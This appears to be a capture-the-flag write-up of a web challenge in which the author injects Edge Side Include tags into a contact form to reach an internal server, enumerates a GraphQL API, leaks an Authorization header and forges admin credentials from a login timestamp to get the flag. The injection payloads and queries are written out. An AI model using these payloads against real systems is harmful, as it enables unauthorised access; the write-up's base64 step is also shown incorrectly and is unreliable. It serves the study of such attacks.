Skip to content

Latest commit

 

History

History
452 lines (426 loc) · 13.8 KB

web400.md

File metadata and controls

452 lines (426 loc) · 13.8 KB

Initial exploration shows there is a contact page that stores our message before sending it (disabled button) Pasted image 20221020095945

On the response headers there is a nice My Custom ESI Server, so maybe we are dealing with Edge Side Includes? https://www.keycdn.com/support/edge-side-includes

So this means probably dealing with ESI injection, here https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/ shows how the technique works.

Lets see if we can inject some includes <esi:include src="http://abt.com/hi/" /> Its working but thre is a whitelist Pasted image 20221020101151

Lets see if we can ssrf and enumerate over the internal network with <esi%3ainclude+src%3d"http%3a//172.20.0.4:5000"+/> And we have a kind response from the server saying hello: Pasted image 20221020101352

After Checking files and directories not responding with 404 we end up with 2 matchs: test and robots.txt: Pasted image 20221020103001

robots.txt is available showing 2 endpoints /graphql and /test Pasted image 20221020103048

Let's play with the graphql https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/

First running an introspection query

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name+description+locations+args{...InputValue}}}}fragment+FullType+on+__Type{kind+name+description+fields(includeDeprecated%3atrue){name+description+args{...InputValue}type{...TypeRef}isDeprecated+deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated%3atrue){name+description+isDeprecated+deprecationReason}possibleTypes{...TypeRef}}fragment+InputValue+on+__InputValue{name+description+type{...TypeRef}defaultValue}fragment+TypeRef+on+__Type{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name}}}}}}}}

Instrospection was not working so let's enumerate https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql {__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Response nicely formatted with jd:

{
  "data": {
    "__schema": {
      "types": [
        {
          "fields": [
            {
              "args": [],
              "name": "id"
            },
            {
              "args": [],
              "name": "username"
            }
          ],
          "name": "User"
        },
        {
          "fields": null,
          "name": "ID"
        },
        {
          "fields": null,
          "name": "String"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "id"
            },
            {
              "args": [],
              "name": "admin"
            },
            {
              "args": [],
              "name": "username"
            },
            {
              "args": [],
              "name": "last_login"
            }
          ],
          "name": "UserExtended"
        },
        {
          "fields": null,
          "name": "Boolean"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "success"
            },
            {
              "args": [],
              "name": "errors"
            },
            {
              "args": [],
              "name": "users"
            }
          ],
          "name": "UsersResult"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "success"
            },
            {
              "args": [],
              "name": "errors"
            },
            {
              "args": [],
              "name": "user"
            }
          ],
          "name": "UserResult"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "success"
            },
            {
              "args": [],
              "name": "errors"
            },
            {
              "args": [],
              "name": "flag"
            }
          ],
          "name": "FlagResult"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "users"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "userId",
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "ID"
                    }
                  }
                }
              ],
              "name": "user"
            },
            {
              "args": [],
              "name": "flag"
            }
          ],
          "name": "Query"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [],
              "name": "types"
            },
            {
              "args": [],
              "name": "queryType"
            },
            {
              "args": [],
              "name": "mutationType"
            },
            {
              "args": [],
              "name": "subscriptionType"
            },
            {
              "args": [],
              "name": "directives"
            }
          ],
          "name": "__Schema"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "kind"
            },
            {
              "args": [],
              "name": "name"
            },
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [],
              "name": "specifiedByURL"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "includeDeprecated",
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  }
                }
              ],
              "name": "fields"
            },
            {
              "args": [],
              "name": "interfaces"
            },
            {
              "args": [],
              "name": "possibleTypes"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "includeDeprecated",
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  }
                }
              ],
              "name": "enumValues"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "includeDeprecated",
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  }
                }
              ],
              "name": "inputFields"
            },
            {
              "args": [],
              "name": "ofType"
            }
          ],
          "name": "__Type"
        },
        {
          "fields": null,
          "name": "__TypeKind"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "name"
            },
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "includeDeprecated",
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  }
                }
              ],
              "name": "args"
            },
            {
              "args": [],
              "name": "type"
            },
            {
              "args": [],
              "name": "isDeprecated"
            },
            {
              "args": [],
              "name": "deprecationReason"
            }
          ],
          "name": "__Field"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "name"
            },
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [],
              "name": "type"
            },
            {
              "args": [],
              "name": "defaultValue"
            },
            {
              "args": [],
              "name": "isDeprecated"
            },
            {
              "args": [],
              "name": "deprecationReason"
            }
          ],
          "name": "__InputValue"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "name"
            },
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [],
              "name": "isDeprecated"
            },
            {
              "args": [],
              "name": "deprecationReason"
            }
          ],
          "name": "__EnumValue"
        },
        {
          "fields": [
            {
              "args": [],
              "name": "name"
            },
            {
              "args": [],
              "name": "description"
            },
            {
              "args": [],
              "name": "isRepeatable"
            },
            {
              "args": [],
              "name": "locations"
            },
            {
              "args": [
                {
                  "description": null,
                  "name": "includeDeprecated",
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  }
                }
              ],
              "name": "args"
            }
          ],
          "name": "__Directive"
        },
        {
          "fields": null,
          "name": "__DirectiveLocation"
        }
      ]
    }
  }
}

The schema is not very clear but there are some flags, users, user so lets start querying the endpoint

Going for the obvious in the schema there is a flag query so query={flag{flag}} is returning null, this is probably becasue this user doesnt have access to the flag. The queries are running as esi-user as reported in the /test endpoint

query={user} -> {"errors":[{"locations":[{"column":2,"line":1}],"message":"Field 'user' of type 'UserResult!' must have a selection of subfields. Did you mean 'user { ... }'?"},{"locations":[{"column":2,"line":1}],"message":"Field 'user' argument 'userId' of type 'ID!' is required, but it was not provided."}]}

Query to enum users: query={user(userId:1){user{id,admin,username,last_login}}} user1-> {"data":{"user":{"user":{"admin":true,"id":"1","last_login":"13-10-2022 10:25:11 - CEST","username":"admin"}}}}

query={user(userId:2){user{id,admin,username,last_login}}} user2->{"data":{"user":{"user":{"admin":false,"id":"2","last_login":"11-10-2022 11:30:31 - CEST","username":"esi-user"}}}}

So far there are only 2 users admin and esi-user, we are now esi-user and the flag its probably on the admin user so let´s go back to /test and try to log as admin there. The endpoint is telling us that is a test endpoint to check headers

Pasted image 20221020112023

We start by injecting after the first include another esi like <esi header Authorization> Getting back: <esi:error hidden="">Attribute 'name' is mandatory for the 'esi:header' directive.</esi:error> So lets test again with <esi%3aheader+name+Authorization"+/> We got -> >Header not in whitelist. Headers allowed: ['Authorization', 'authorization'].<

<esi%3ainclude+src%3d"http%3a//172.20.0.4:5000/test"+/><<esi%3aheader+name%3d"Authorization"> This return the authorization header Pasted image 20221020113505 That's the base64 of esi-user:1665480631 Meaning the password is 1665480631 knowing that on the graphql the only attributes for the user are id, username,admin,last_login and this number can be epox time lets check it Pasted image 20221020113727 This is the last_login we had for the esi-user on graphql so lets convert the admin last_Login from the db to epox format -> Pasted image 20221020113851

so lets enconde admin:1665649511 to b64 -> YWRtaW4=:MTY2NTY0OTUxMQ==

After trying to inject the Athorization header from the ESI without success setting this header on the initial request works and we were log as admin Pasted image 20221020114249

Now we can try again the flag query : query={flag{flag}} And voilá! Pasted image 20221020114408